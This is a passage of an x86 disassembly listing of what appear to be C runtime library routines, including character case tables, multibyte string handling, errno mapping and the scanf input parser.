loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------

loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DC7E1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------

loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DC6E0[eax], 0

loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228

loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DC914, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DC914, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC6DC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------

loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]

loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DC7E1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------

loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2

loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------

loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0

loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]

loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------

loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43C504, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------

loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371

loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------

loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------

loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB27C, ecx
		mov	eax, offset dword_43C610

loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43C778
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB278, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43C614[edx*8]
		mov	dword_4DB278, eax
		retn
; ---------------------------------------------------------------------------

loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB278, 8
		jbe	short locret_420445

loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB278, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43CA08
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------

loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43CA28
		jnz	short loc_4204CF
		push	1
		pop	eax

loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DB460
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB304[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB304h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------

loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx

loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------

loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43C504, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------

loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C2F8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch

loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------

loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------

loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673

loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]

loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------

loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------

loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1

loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------

loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C

loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6

loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi

loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------

loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------

loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6

loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------

loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]

loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF

loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh

loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43C504, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------

loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------

loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43C508, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43C508
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43C504, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------

loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------

loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A

loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------

loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4

loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------

loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43C504, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------

loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------

loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43C8A8
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1

loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43C780
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF

loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1

loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------

loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A

loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------

loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh

loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------

loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------

loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------

loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1

loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43C778

loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh

loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]

loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------

loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl

loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi

loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7

loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

